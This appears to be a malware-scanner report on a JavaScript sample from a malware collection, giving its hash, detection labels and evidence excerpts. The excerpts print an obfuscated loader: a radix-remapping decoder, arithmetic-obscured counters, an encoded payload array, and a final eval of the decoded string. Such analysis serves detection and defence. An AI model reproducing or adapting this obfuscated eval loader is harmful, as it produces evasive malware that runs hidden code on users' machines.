Suspicious ^80% javascript-malware-collection Download

20151211_a9065f35f166295b18e110ad14f01f90.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25645f80de00f30767bb5fec5edff425e49012ffd3747af6fe0f61c27f4dbdb68d9

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function PsZyh(NDEDIHAooyn,FZtsIurqcjyKR,CyDTJEfu){bvep=parseInt(NDEDIHAooyn,FZtsIurqcjyKR);EglMJ=bvep.toString(CyDTJEfu);return EglMJ;}function xopdMwukOBNsVSf(LDgiNVzrJxOkTYTJF){eval(LDgiNVzrJxOkTYTJF)}
3function guXYVFYEZLvycECQjevTwJuXNtcdzkhBVSnjeUeBAWqspGxNwMiwyO(TXtegYNfLterl,sCJCLwcfWaNdoz){ return izfXQ[PsZyh(TXtegYNfLterl[sCJCLwcfWaNdoz],(10928+811)/559,(2557+743)/330)];}
4function HkzPRGt(kVtXrWzdqokjIPJzsXVsbdnoSnMrGgOCpSRH) {return !isNaN(parseFloat(kVtXrWzdqokjIPJzsXVsbdnoSnMrGgOCpSRH)) && isFinite(kVtXrWzdqokjIPJzsXVsbdnoSnMrGgOCpSRH);}
5function KytvqvPEEDH(UipBlLOq,pOJocJ){return UipBlLOq.split(pOJocJ)}
6var h=new Array("d","a","d","a","5d","4d","59","1b","5c","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:5… OQXow=[h,hE];
9var QexMxQMYS=[];
10function nBsRyavzljmgfBpKy(OQXow){VEFrxslyVbh= '';SMeQgSKrqCq=(-605+605)/461; while(true){if(SMeQgSKrqCq >= (765+735)/750)break;QexMxQMYS[SMeQgSKrqCq]=(-630+630)/29; while(true) { if(QexMxQMYS[SMeQgSKrqCq] > OQXow[SMeQgSKrqCq].length-(151+426)/577) { break; } if (HkzPRGt(PsZyh(OQXow[SMeQgSKrqCq][QexMxQMYS[SMeQgSKrqCq]],(16453+956)/829,(8537+933)/947))) {VEFrxslyVbh += guXYVFYEZLvycECQjevTwJuXNtcdzkhBVSnjeUeBAWqspGxNwMiwyO([OQXow[SMeQgSKrqCq][QexMxQMYS[SMeQgSKrqCq]]], (-951+951)/953);} QexMxQMYS[SMeQgSKrqCq]++;}SMeQgSKrqCq++;} return VEFrxslyVbh}
11xopdMwukOBNsVSf(nBsRyavzljmgfBpKy(OQXow));